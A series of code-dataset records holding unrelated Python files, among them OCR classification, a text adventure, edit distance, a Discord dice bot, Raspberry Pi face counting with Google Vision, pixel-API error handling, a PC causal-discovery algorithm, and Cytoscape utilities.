svm.predict_all(npaROIResized)\n strCurrentChar = chr(int(npaResults[0][0]))\n\n line_change = self.formatCheck(contourWithData, i, length)\n self.strFinalString = self.strFinalString + strCurrentChar + line_change\n #npaContour = None##TO DO#BAK\n\n\n # cv2.namedWindow('Fuck '+str(i), cv2.WINDOW_NORMAL)\n # cv2.imshow('Fuck '+str(i), imgROI)\n # print strCurrentChar\n\n # if (cv2.waitKey(0) & 255) == 121: ### For Windows Os remove 255 from this line ###\n # a = a + 1\n # cv2.destroyAllWindows()\n # print contourWithData.intRectX, contourWithData.intRectY\n\n # print 'Accuracy:', a/ i\n print(self.strFinalString)\n\n\n messagebox.showinfo(\"Result\", \"The text is \" + self.strFinalString)\n self.strFinalString = \"\"\n self.strCurrentChar = \"\"\n self.allContoursWithData.clear()\n self.validContoursWithData.clear()\n\n self.gui.clearButtonKNN.configure(state=NORMAL)\n # print strCurrentChar\n\n\n def kNearest(self):\n\n time.sleep(0.3)\n\n self.binary, self.gray_image, self.binaryCopy = self.ocr.preprocess(self.image, self.gui, self.gui.DatasetFrameKNN)\n\n im2, npaContours, npaHierarchy = cv2.findContours(self.binaryCopy, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n\n allContoursWithData = self.getContourDetails(npaContours)\n\n validContoursWithData = self.getValidContours(allContoursWithData)\n\n self.recogtion(self.imageCopy, self.binaryCopy, validContoursWithData)\n\n\n\n #npaClassifications = npaClassifications.reshape((npaClassifications.size, 1))\n ## reshape numpy array to 1d, necessary to pass to call to train\n\n # for contourWithData in self.validContoursWithData:\n # cv2.rectangle(self.image,\n # (contourWithData.intRectX, contourWithData.intRectY), # upper left corner\n # (contourWithData.intRectX + contourWithData.intRectWidth,\n # contourWithData.intRectY + contourWithData.intRectHeight), # lower right corner\n # (0, 255, 0), # green\n # 2) # thickness\n\n # imgROI = self.binary[contourWithData.intRectY: contourWithData.intRectY + contourWithData.intRectHeight,\n # # crop char out of threshold image\n # contourWithData.intRectX: contourWithData.intRectX + contourWithData.intRectWidth]\n\n # imgROIResized = cv2.resize(imgROI, (RESIZED_IMAGE_WIDTH, RESIZED_IMAGE_HEIGHT))\n # # cv2.imshow(\"karakter\",imgROIResized)\n # # cv2.waitKey()\n # # cv2.destroyAllWindows()\n # self.npaROIResized = imgROIResized.reshape(\n # (1, RESIZED_IMAGE_WIDTH * RESIZED_IMAGE_HEIGHT)) # flatten image into 1d numpy array\n\n # self.npaROIResized = np.float32(\n # self.npaROIResized) # convert from 1d numpy array of ints to 1d numpy array of floats\n # retval, npaResults, neigh_resp, dists = self.kNearest.findNearest(self.npaROIResized, k=1)\n\n#\n # print(self.strCurrentChar)\n # self.strFinalString = self.strFinalString + self.strCurrentChar\n # npaContour=None\n\n # print(\"\\n\" + self.strFinalString + \"\\n\")\n\n # messagebox.showinfo(\"Result\", \"The text is \" + self.strFinalString)\n # self.strFinalString = \"\"\n # self.strCurrentChar = \"\"\n # self.allContoursWithData.clear()\n # self.validContoursWithData.clear()\n\n\n # self.gui.clearButtonKNN.configure(state=NORMAL)\n\n","sub_path":"source/KNearest.py","file_name":"KNearest.py","file_ext":"py","file_size_in_byte":11404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"246562475","text":"from room import Room\nfrom player import Player\nfrom mage import Mage\nfrom weapon import Weapon\nfrom armor import Armor\n\n# Declare all Weapons\n\n\n# Declare all the rooms\n\n\nroom = {\n 'outside': Room(\"Outside Cave Entrance\",\n \"North of you, the cave mount beckons\"),\n\n 'foyer': Room(\"Foyer\", \"\"\"Dim light filters in from the south. Dusty\npassages run north and east.\"\"\"),\n\n 'overlook': Room(\"Grand Overlook\", \"\"\"A steep cliff appears before you, falling\ninto the darkness. Ahead to the north, a light flickers in\nthe distance, but there is no way across the chasm.\"\"\"),\n\n 'narrow': Room(\"Narrow Passage\", \"\"\"The narrow passage bends here from west\nto north. The smell of gold permeates the air.\"\"\"),\n\n 'treasure': Room(\"Treasure Chamber\", \"\"\"You've found the long-lost treasure\nchamber! Sadly, it has already been completely emptied by\nearlier adventurers. The only exit is to the south.\"\"\"),\n}\n\n# Link rooms together\n\nroom['outside'].n_to = room['foyer']\nroom['foyer'].s_to = room['outside']\nroom['foyer'].n_to = room['overlook']\nroom['foyer'].e_to = room['narrow']\nroom['overlook'].s_to = room['foyer']\nroom['narrow'].w_to = room['foyer']\nroom['narrow'].n_to = room['treasure']\nroom['treasure'].s_to = room['narrow']\n\n#\n# Main\n#\nplayer1 = Player()\n\n# ----- testing to see if items inv worked -----\n# killer = Mage()\n# print(killer.items)\n\nwhile True:\n print(\n f\"You are now in {player1.current_room.name}. {player1.current_room.description}\")\n dir = input(\"Where would you like to go?\")\n if dir == \"n\":\n player1.enter(player1.current_room.n_to)\n elif dir == \"e\":\n player1.enter(player1.current_room.e_to)\n elif dir == \"w\":\n player1.enter(player1.current_room.w_to)\n elif dir == \"s\":\n player1.enter(player1.current_room.s_to)\n elif dir == \"exit\":\n break\n\n\n# ----- too much code!!! -----\n\n# while True:\n# print(f\"Welcome, you are at the {player1.current_room.name}\")\n# print(f\"{player1.current_room.description}\")\n# if player1.current_room.name == \"Outside Cave Entrance\":\n# answer = input('Do you want to head North, into the cave? Y/N')\n# if answer == \"Y\":\n# player1.current_room = player1.current_room.n_to\n# elif answer == \"N\":\n# print(\"Coward\")\n# break\n# else:\n# print(\"Please enter Y or N\")\n# keepgoing = input(\n# \"Are you able to keep going? \\nIf not, you can get out now by heading south, where you came from. \\nIf so, you must push ahead north to the overlook. North/South?\").upper()\n# if player1.current_room.name == \"Foyer\":\n# if keepgoing == \"SOUTH\":\n# player1.current_room = player1.current_room.s_to\n# print(\"Figures, come back when you have some courage\")\n# elif keepgoing == \"NORTH\":\n# player1.current_room = player1.current_room.n_to\n# print(\n# f\"Welcome to {player1.current_room}, {player1.current_room.description}\")\n# else:\n# print(\"Pick a real direction!\")\n # if player1.current_room.name == \"Overlook\":\n\n # Make a new player object that is currently in the 'outside' room.\n\n # Write a loop that:\n #\n # * Prints the current room name\n # * Prints the current description (the textwrap module might be useful here).\n # * Waits for user input and decides what to do.\n #\n # If the user enters a cardinal direction, attempt to move to the room there.\n # Print an error message if the movement isn't allowed.\n #\n # If the user enters \"q\", quit the game.\n","sub_path":"src/days-2-4-adv/adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":3658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"433303789","text":"### Edit Distance (编辑距离)\n# 编辑距离用来计算两个字符串之间的最短距离,这里涉及到三个不通过的操作, add,delete和replace.每一个操作我们假定需要1个单位的cost\n# 例子：\"apple\",\"appl\"之间的编辑距离为1(需要1个删除的操作)\n# spell correction\n# \"machine\",\"macaide\", dist=2\n# \"mach\",\"aaach\" dist=2\n\"\"\"\ns1 s2 s3 s4\nt1 t2 t3 t4 t5\nif s4==t5:\n return edit\n\"\"\"\n#基于动态规划的解法\ndef edit_dist(str1,str2):\n # m,n分别为字符串str1,str2的长度\n m,n = len(str1),len(str2)\n\n # 构建二位数组来储存子问题(sub-problem)的答案\n dp = [[0 for x in range(n+1)] for x in range(m+1)]\n\n # 利用动态规划算法,填充数组\n for i in range(m+1):\n for j in range(n+1):\n\n # 假设第一个字符串为空,则转换的代价为j(j次的插入)\n if i==0:\n dp[i][j]=j\n # 同样的,假设第二个字符串为空,则转换的代价为i(i次的插入)\n elif j == 0:\n dp[i][j]=i\n elif str1[i-1] == str2[j-1]:\n dp[i][j]=dp[i-1][j-1]\n\n # 如果最后一个字符不一样,则考虑多种可能性,并且选择其中最小的值\n else:\n dp[i][j] = 1 + min(dp[i][j-1], #insert\n dp[i-1][j], #remove\n dp[i-1][j-1]) #replace\n return dp[m][n]\n\nprint(edit_dist(\"apple\",\"appazrt\"))","sub_path":"DTW/Edit_dist.py","file_name":"Edit_dist.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"387069642","text":"import discord\r\nfrom discord.ext import commands\r\n\r\nfrom random import randint\r\n\r\nclass RPG(commands.Cog):\r\n \r\n def __init__(self, bot):\r\n self.bot = bot\r\n\r\n @commands.command(aliases=['r'], brief='!roll [x]')\r\n async def roll(self, ctx, arg):\r\n try:\r\n float(arg)\r\n except:\r\n await ctx.send('❌ You must input an integer !')\r\n else:\r\n number = randint(1, int(arg))\r\n await ctx.send(f'🎲 You rolled a {number} !')\r\n\r\ndef setup(bot):\r\n bot.add_cog(RPG(bot))\r\n","sub_path":"cogs/RPG.py","file_name":"RPG.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"368967255","text":"import argparse\n\nimport base64\n\nimport picamera\n\nimport json\n\nimport requests\n\nfrom googleapiclient import discovery\n\nfrom oauth2client.client import GoogleCredentials\n\n\n\ndef takephoto():\n\n camera = picamera.PiCamera()\n\n camera.capture('image.jpg')\n\n\n\ndef main():\n\n takephoto() # First take a picture\n\n \"\"\"Run a label request on a single image\"\"\"\n\n\n\n credentials = GoogleCredentials.get_application_default()\n\n service = discovery.build('vision', 'v1', credentials=credentials)\n\n\n\n with open('image.jpg', 'rb') as image:\n\n image_content = base64.b64encode(image.read())\n\n service_request = service.images().annotate(body={\n\n 'requests': [{\n\n 'image': {\n\n 'content': image_content.decode('UTF-8')\n\n },\n\n 'features': [{\n\n 'type': 'FACE_DETECTION',\n\n 'maxResults': 100\n\n }]\n\n }]\n\n })\n \n response = service_request.execute()\n data_string = json.dumps(response)\t#Print it out and make it somewhat pretty\n data = json.loads(data_string)\n detected_faces = len(data['responses'][0]['faceAnnotations'])\n print(detected_faces)\n sensor_data_volume = {\n \"$class\": \"org.nexus.basic.SetVolumePlatform\",\n \"vol\": \"resource:org.nexus.basic.Platform#01\",\n \"newVolume\": detected_faces\n }\n r = requests.post(\"http://178.128.16.137:3000/api/org.nexus.basic.SetVolumePlatform\", data=sensor_data_volume)\n print(r.json)\n\n\nif __name__ == '__main__':\n\n\n\n main()\n","sub_path":"Platform/camera_platform_volume.py","file_name":"camera_platform_volume.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"558339349","text":"import FWCore.ParameterSet.Config as cms\n\nhltHcalPFClusterIsolationProducerRecoRecoEcalCandidate = cms.EDProducer('EgammaHLTHcalPFClusterIsolationProducer',\n recoEcalCandidateProducer = cms.InputTag('hltL1SeededRecoEcalCandidatePF'),\n pfClusterProducerHCAL = cms.InputTag('hltParticleFlowClusterHCAL'),\n useHF = cms.bool(False),\n pfClusterProducerHFEM = cms.InputTag(''),\n pfClusterProducerHFHAD = cms.InputTag(''),\n rhoProducer = cms.InputTag('fixedGridRhoFastjetAllCalo'),\n doRhoCorrection = cms.bool(False),\n rhoMax = cms.double(99999999),\n rhoScale = cms.double(1),\n drMax = cms.double(0.3),\n drVetoBarrel = cms.double(0),\n drVetoEndcap = cms.double(0),\n etaStripBarrel = cms.double(0),\n etaStripEndcap = cms.double(0),\n energyBarrel = cms.double(0),\n energyEndcap = cms.double(0),\n useEt = cms.bool(True),\n effectiveAreas = cms.vdouble(\n 0.2,\n 0.25\n ),\n absEtaLowEdges = cms.vdouble(\n 0,\n 1.479\n ),\n mightGet = cms.optional.untracked.vstring\n)\n","sub_path":"RecoEgamma/EgammaHLTProducers/hltHcalPFClusterIsolationProducerRecoRecoEcalCandidate_cfi.py","file_name":"hltHcalPFClusterIsolationProducerRecoRecoEcalCandidate_cfi.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"490455563","text":"pocket = set() # 0:Red 1:White 2:Black\r\nfor i in range(4):\r\n for j in range(4):\r\n for k in range(7):\r\n if i + j + k != 8:\r\n continue\r\n pocket.add((i, j, k))\r\nelse:\r\n print(\"Total %d\" % len(pocket))\r\n for item in pocket:\r\n print(\"Red:{}, White:{}, Black:{}\".format(*item))\r\n# Total 13\r\n# Red:3, White:3, Black:2\r\n# Red:1, White:1, Black:6\r\n# Red:0, White:2, Black:6\r\n# Red:0, White:3, Black:5\r\n# Red:2, White:2, Black:4\r\n# Red:2, White:0, Black:6\r\n# Red:2, White:1, Black:5\r\n# Red:2, White:3, Black:3\r\n# Red:3, White:1, Black:4\r\n# Red:3, White:0, Black:5\r\n# Red:1, White:3, Black:4\r\n# Red:3, White:2, Black:3\r\n# Red:1, White:2, Black:5\r\n","sub_path":"161010第三次Python/question5.py","file_name":"question5.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"50994016","text":"import re\nfrom json.decoder import JSONDecodeError\nfrom typing import Any, Optional, Union\n\nimport requests\n\nfrom pydispix.ratelimits import RateLimitedEndpoint\n\n\nclass PyDisPixError(Exception):\n \"\"\"Parent class for all exceptions defined by this library\"\"\"\n\n\nclass RateLimitBreached(PyDisPixError):\n \"\"\"Request failed due to rate limit breach.\"\"\"\n def __init__(self, *args, response: requests.Response, **kwargs):\n super().__init__(*args, **kwargs)\n\n # Get time limits from headers with RateLimitedEndpoint\n temp_rate_limit = RateLimitedEndpoint(response.url)\n temp_rate_limit.update_from_headers(response.headers)\n\n self.requests_limit = temp_rate_limit.requests_limit\n self.reset_time = temp_rate_limit.reset_time\n self.remaining_requests = temp_rate_limit.remaining_requests\n self.cooldown_time = temp_rate_limit.cooldown_time\n\n # Store the expected wait and the original response which trigerred this exception\n self.expected_wait_time = temp_rate_limit.get_wait_time()\n self.response = response\n\n def __str__(self):\n s = super().__str__()\n s += f\"\\nresponse={self.response.content}\"\n if self.expected_wait_time != 0:\n s += f\"\\nexpected_wait_time={self.expected_wait_time}\"\n\n return s\n\n\nclass InvalidToken(PyDisPixError, requests.HTTPError):\n \"\"\"Invalid token used.\"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n\nclass CanvasFormatError(PyDisPixError):\n \"\"\"Exception raised when the canvas is badly formatted.\"\"\"\n\n\nclass InvalidColor(PyDisPixError):\n \"\"\"Invalid color format\"\"\"\n\n def __init__(self, *args, color: Any, **kwargs):\n super().__init__(*args, **kwargs)\n self.color = color\n\n def __str__(self) -> str:\n s = super().__str__()\n return s + f\" color={self.color}\"\n\n\nclass OutOfBoundaries(PyDisPixError):\n \"\"\"Status code 422 - tried to draw a pixel outside of the canvas\"\"\"\n\n\ndef handle_invalid_body(response: requests.Response) -> Union[PyDisPixError, requests.HTTPError]:\n \"\"\"\n Handle 442 (invalid body) error code. This code can mean many things,\n this function analyzes what exactly does the 442 refer to, and returns\n an appropriate exception for it.\n \"\"\"\n if response.status_code != 422:\n raise ValueError(\"Invalid Body response must have 422 HTTP code.\")\n\n detail = response.json()['detail']\n\n # Work with 1st entry only, we can't raise multiple errors anyway\n entry = detail[0]\n if entry[\"loc\"][1] == \"rgb\":\n color = re.search(r\"'(.+)' is not a valid color\", entry[\"msg\"]).groups()[0]\n return InvalidColor(\"Couldn't resolve color\", color=color)\n if entry[\"loc\"][1] in (\"x\", \"y\"):\n return OutOfBoundaries(entry[\"msg\"])\n\n raise requests.HTTPError(\"Unrecognized 422 exception, please report this issue in the pydispix repository\", response=response)\n\n\ndef get_response_result(\n exception: Union[requests.HTTPError, RateLimitBreached],\n key: Optional[str] = None,\n error_on_fail: bool = False\n) -> Union[str, dict, list]:\n if not hasattr(exception, \"response\"):\n raise ValueError(\"This exception doesn't have a `response` attribute.\")\n\n try:\n response = exception.response.json()\n except JSONDecodeError as exc:\n if error_on_fail:\n raise exc\n # Return the `content` message, this isn't JSON docodeable\n # If we can't decode to str text, don't bother with bytes, just raise `UnicodeDecodeError`\n return exception.response.content.decode(\"utf-8\")\n\n if key is not None:\n try:\n response = response[key]\n except KeyError as exc:\n if error_on_fail:\n raise exc\n # Return the whole json, it doesn't contain wanted key\n return response\n\n return response\n","sub_path":"pydispix/errors.py","file_name":"errors.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"604151918","text":"#! /usr/bin/python\r\n\"\"\"\r\n InjectStimulus\r\n\r\nfirst argument defines one out of three possible stimulus types:\r\n 0: constant current input\r\n 1: Ornstein-Uhlenbeck process (colored noise)\r\n 2: Sinusoid with additive colored noise\r\n\"\"\"\r\n \r\ndef stimulate(li): # isnoisy,mean,std,tau,dt,T,random_seed_index,freq,amp, the last two may not need\r\n import neuron\r\n from neuron import h\r\n isnoisy = li[0]\r\n\r\n if isnoisy == 1:\r\n m = li[1]\r\n std = li[2]\r\n tau = li[3]\r\n dt = li[4]\r\n T = li[5]\r\n seednumber = li[6]\r\n from random import seed, gauss\r\n seed(seednumber) # random seed number for generating the same stimulus in runjobs\r\n from math import exp, sqrt, pi\r\n x = [m]\r\n for i in range(int(T/dt)):\r\n x.append(x[-1] + (1 - exp(-dt/tau)) * (m - x[-1]) + sqrt(1 - exp(-2*dt/tau))*std*gauss(0,1))\r\n return x\r\n\r\n\r\n \r\n","sub_path":"scripts/I_proc_new.py","file_name":"I_proc_new.py","file_ext":"py","file_size_in_byte":865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"12783362","text":"# coding=utf-8\n# Copyright (C) 2021. Huawei Technologies Co., Ltd. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom copy import deepcopy\nfrom itertools import combinations\nimport numpy as np\n\nfrom castle.common import BaseLearner, Tensor\nfrom castle.common.independence_tests import CI_Test\n\n\nclass PC(BaseLearner):\n \"\"\"PC Algorithm.\n\n A classic causal discovery algorithm based on conditional independence tests.\n\n Reference: https://www.jmlr.org/papers/volume8/kalisch07a/kalisch07a.pdf\n\n Parameters\n ----------\n alpha: float, default 0.05\n Significance level.\n ci_test : str\n ci_test method\n\n Attributes\n ----------\n causal_matrix : array\n Learned causal structure matrix.\n\n Examples\n --------\n >>> from castle.common import GraphDAG\n >>> from castle.metrics import MetricsDAG\n >>> from castle.datasets import load_dataset\n\n >>> true_dag, X = load_dataset(name='iid_test')\n >>> pc = PC()\n >>> pc.learn(X)\n >>> GraphDAG(pc.causal_matrix, true_dag, 'result_pc')\n >>> met = MetricsDAG(pc.causal_matrix, true_dag)\n >>> print(met.metrics)\n \"\"\"\n\n def __init__(self, alpha=0.05, ci_test='gauss'):\n\n super(PC, self).__init__()\n self.alpha = alpha\n self.causal_matrix = None\n self.ci_test = ci_test\n\n def learn(self, data, **kwargs):\n \"\"\"Set up and run the PC algorithm.\n\n Parameters\n ----------\n data: array or Tensor\n Training data.\n \"\"\"\n\n if isinstance(data, np.ndarray):\n data = data\n elif isinstance(data, Tensor):\n data = data.data\n else:\n raise TypeError('The type of tensor must be '\n 'Tensor or array, but got {}.'\n .format(type(data)))\n # Generating an undirected skeleton matrix\n skeleton, sep_set = FindSkeleton.origin_pc(data=data, alpha=self.alpha,\n ci_test=self.ci_test)\n # Generating an causal matrix (DAG)\n self._causal_matrix = orient(skeleton, sep_set).astype(int)\n\n\nclass FindSkeleton(object):\n \"\"\"Contains multiple methods for finding skeleton\"\"\"\n\n @staticmethod\n def origin_pc(data, alpha=0.05, ci_test='gauss'):\n \"\"\"Origin PC-algorithm for learns a skeleton graph\n\n It learns a skeleton graph which contains only undirected edges\n from data. This is the original version of the PC-algorithm for the\n skeleton.\n\n Parameters\n ----------\n data : array, (n_samples, n_features)\n Dataset with a set of variables V\n alpha : float, default 0.05\n significant level\n ci_test : str\n ci_test method\n\n Returns\n -------\n skeleton : array\n The undirected graph\n seq_set : dict\n Separation sets\n Such as key is (x, y), then value is a set of other variables\n not contains x and y.\n \"\"\"\n\n n_features = data.shape[1]\n skeleton = np.ones((n_features, n_features)) - np.eye(n_features)\n nodes = list(range(n_features))\n sep_set = {}\n k = 0\n while k <= n_features - 2:\n for i, j in combinations(nodes, 2):\n if k == 0:\n if ci_test == 'gauss':\n p_value = CI_Test.gauss_test(data, i, j, ctrl_var=[])\n else:\n raise ValueError('Unknown ci_test method, please check '\n f'the parameter {ci_test}.')\n if p_value >= alpha:\n skeleton[i, j] = skeleton[j, i] = 0\n sep_set[(i, j)] = []\n else:\n pass\n else:\n if skeleton[i, j] == 0:\n continue\n other_nodes = deepcopy(nodes)\n other_nodes.remove(i)\n other_nodes.remove(j)\n s = []\n for ctrl_var in combinations(other_nodes, k):\n ctrl_var = list(ctrl_var)\n if ci_test == 'gauss':\n p_value = CI_Test.gauss_test(data, i, j, ctrl_var)\n else:\n raise ValueError('Unknown ci_test method, please check '\n f'the parameter {ci_test}.')\n if p_value >= alpha:\n s.extend(ctrl_var)\n if s:\n skeleton[i, j] = skeleton[j, i] = 0\n sep_set[(i, j)] = s\n break\n k += 1\n\n return skeleton, sep_set\n\n\ndef orient(skeleton, sep_set):\n \"\"\"Extending the Skeleton to the Equivalence Class\n\n it orients the undirected edges to form an equivalence class of DAGs.\n\n Parameters\n ----------\n skeleton : array\n The undirected graph\n sep_set : dict\n separation sets\n if key is (x, y), then value is a set of other variables\n not contains x and y\n\n Returns\n -------\n out : array\n An equivalence class of DAGs can be uniquely described\n by a completed partially directed acyclic graph (CPDAG)\n which includes both directed and undirected edges.\n \"\"\"\n\n def _rule_1(cpdag):\n \"\"\"Rule_1\n\n Orient i——j into i——>j whenever there is an arrow k——>i\n such that k and j are nonadjacent.\n \"\"\"\n\n columns = list(range(cpdag.shape[1]))\n ind = list(combinations(columns, 2))\n for ij in sorted(ind, key=lambda x: (x[1], x[0])):\n # Iteration every (i, j)\n i, j = ij\n if cpdag[i, j] * cpdag[j, i] == 0:\n continue\n # search i——j\n else:\n all_k = [x for x in columns if x not in ij]\n for k in all_k:\n if cpdag[k, i] == 1 and cpdag[i, k] == 0 \\\n and cpdag[k, j] + cpdag[j, k] == 0:\n cpdag[j, i] = 0\n return cpdag\n\n def _rule_2(cpdag):\n \"\"\"Rule_2\n\n Orient i——j into i——>j whenever there is a chain i——>k——>j.\n \"\"\"\n\n columns = list(range(cpdag.shape[1]))\n ind = list(combinations(columns, 2))\n for ij in sorted(ind, key=lambda x: (x[1], x[0])):\n # Iteration every (i, j)\n i, j = ij\n if cpdag[i, j] * cpdag[j, i] == 0:\n continue\n # search i——j\n else:\n all_k = [x for x in columns if x not in ij]\n for k in all_k:\n if cpdag[i, k] == 1 and cpdag[k, i] == 0 \\\n and cpdag[k, j] == 1 \\\n and cpdag[j, k] == 0:\n cpdag[j, i] = 0\n return cpdag\n\n def _rule_3(cpdag, sep_set=None):\n \"\"\"Rule_3\n\n Orient i——j into i——>j\n whenever there are two chains i——k——>j and i——l——>j\n such that k and l are non-adjacent.\n \"\"\"\n\n columns = list(range(cpdag.shape[1]))\n ind = list(combinations(columns, 2))\n for ij in sorted(ind, key=lambda x: (x[1], x[0])):\n # Iteration every (i, j)\n i, j = ij\n if cpdag[i, j] * cpdag[j, i] == 0:\n continue\n # search i——j\n else:\n for kl in sep_set.keys(): # k and l are nonadjacent.\n k, l = kl\n # if i——k——>j and i——l——>j\n if cpdag[i, k] == 1 \\\n and cpdag[k, i] == 1 \\\n and cpdag[k, j] == 1 \\\n and cpdag[j, k] == 0 \\\n and cpdag[i, l] == 1 \\\n and cpdag[l, i] == 1 \\\n and cpdag[l, j] == 1 \\\n and cpdag[j, l] == 0:\n cpdag[j, i] = 0\n return cpdag\n\n def _rule_4(cpdag, sep_set=None):\n \"\"\"Rule_4\n\n Orient i——j into i——>j\n whenever there are two chains i——k——>l and k——>l——>j\n such that k and j are non-adjacent.\n \"\"\"\n\n columns = list(range(cpdag.shape[1]))\n ind = list(combinations(columns, 2))\n for ij in sorted(ind, key=lambda x: (x[1], x[0])):\n # Iteration every (i, j)\n i, j = ij\n if cpdag[i, j] * cpdag[j, i] == 0:\n continue\n # search i——j\n else:\n for kj in sep_set.keys(): # k and j are nonadjacent.\n if j not in kj:\n continue\n else:\n kj = list(kj)\n kj.remove(j)\n k = kj[0]\n ls = [x for x in columns if x not in [i, j, k]]\n for l in ls:\n if cpdag[k, l] == 1 \\\n and cpdag[l, k] == 0 \\\n and cpdag[i, k] == 1 \\\n and cpdag[k, i] == 1 \\\n and cpdag[l, j] == 1 \\\n and cpdag[j, l] == 0:\n cpdag[j, i] = 0\n return cpdag\n\n columns = list(range(skeleton.shape[1]))\n cpdag = deepcopy(skeleton)\n # pre-processing\n for ij in sep_set.keys():\n i, j = ij\n all_k = [x for x in columns if x not in ij]\n for k in all_k:\n if cpdag[i, k] + cpdag[k, i] != 0 \\\n and cpdag[k, j] + cpdag[j, k] != 0:\n if k not in sep_set[ij]:\n if cpdag[i, k] + cpdag[k, i] == 2:\n cpdag[k, i] = 0\n if cpdag[j, k] + cpdag[k, j] == 2:\n cpdag[k, j] = 0\n cpdag = _rule_1(cpdag=cpdag)\n cpdag = _rule_2(cpdag=cpdag)\n cpdag = _rule_3(cpdag=cpdag, sep_set=sep_set)\n cpdag = _rule_4(cpdag=cpdag, sep_set=sep_set)\n\n return cpdag\n\n","sub_path":"gcastle/castle/algorithms/pc/pc.py","file_name":"pc.py","file_ext":"py","file_size_in_byte":10823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"141522563","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Utility functions useful across multiple modules.\n\"\"\"\n\n\"\"\"Copyright 2020 The Cytoscape Consortium\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated \ndocumentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the \nrights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit \npersons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the \nSoftware.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO \nTHE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, \nTORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\"\"\"\n\nimport os\n\nDEFAULT_BASE_URL = os.environ.get('DEFAULT_BASE_URL') or 'http://127.0.0.1:1234/v1'\n\n# External library imports\nimport urllib.parse\nimport re\nimport sys\n\n# Internal module imports\nfrom . import tables\nfrom . import cytoscape_system\n\n# Internal module convenience imports\nfrom .exceptions import CyError\nfrom .py4cytoscape_logger import narrate\n\n# print(f'Starting {__name__} module')\n\n\n# ==============================================================================\n# I. Package Utility Functions\n# ------------------------------------------------------------------------------\n\ndef cyPalette(name='set1'):\n \"\"\"Supply a set of colors from Brewer palettes (without requiring rColorBrewer).\n\n Args:\n name (str): name of a set of colors (e.g., 'set1', 'burd')\n\n Returns:\n list: list of color values in the palette\n\n Raises:\n KeyError: if palette name is invalid\n\n Examples:\n >>> cyPalette()\n ['#E41A1C', '#377EB8', '#4DAF4A', '#984EA3', '#FF7F00', '#FFFF33', '#A65628', '#F781BF', '#999999']\n >>> cyPalette('burd')\n ['#053061', '#2166AC', '#4393C3', '#92C5DE', '#D1E5F0', '#F7F7F7', '#FDDBC7', '#F4A582', '#D6604D', '#B2182B', '#67001F']\n \"\"\"\n PALETTES = {\n 'set1': ['#E41A1C', '#377EB8', '#4DAF4A', '#984EA3', '#FF7F00', '#FFFF33', '#A65628', '#F781BF', '#999999'],\n 'set2': ['#66C2A5', '#FC8D62', '#8DA0CB', '#E78AC3', '#A6D854', '#FFD92F', '#E5C494', '#B3B3B3'],\n 'set3': ['#8DD3C7', '#FFFFB3', '#BEBADA', '#FB8072', '#80B1D3', '#FDB462', '#B3DE69', '#FCCDE5', '#D9D9D9',\n '#BC80BD', '#CCEBC5', '#FFED6F'],\n 'reds': ['#FFF5F0', '#FEE0D2', '#FCBBA1', '#FC9272', '#FB6A4A', '#EF3B2C', '#CB181D', '#A50F15', '#67000D'],\n 'rdbu': ['#67001F', '#B2182B', '#D6604D', '#F4A582', '#FDDBC7', '#F7F7F7', '#D1E5F0', '#92C5DE', '#4393C3',\n '#2166AC', '#053061'],\n 'burd': ['#053061', '#2166AC', '#4393C3', '#92C5DE', '#D1E5F0', '#F7F7F7', '#FDDBC7', '#F4A582', '#D6604D',\n '#B2182B', '#67001F']\n }\n return PALETTES[name]\n\n# ------------------------------------------------------------------------------\ndef verify_hex_colors(colors):\n \"\"\"Validate and provide user feedback when hex color codes (or a list of codes) are required input.\n\n Args:\n colors (str or list): a single value or a list of colors, which are 6 digit hex values\n\n Returns:\n None\n\n Raises:\n CyError: if color is invalid\n\n Examples:\n >>> verify_hex_colors('#92C5DE')\n >>> verify_hex_colors(['#053061', '#2166AC', '#4393C3', '#92C5DE', '#D1E5F0', '#F7F7F7', '#FDDBC7', 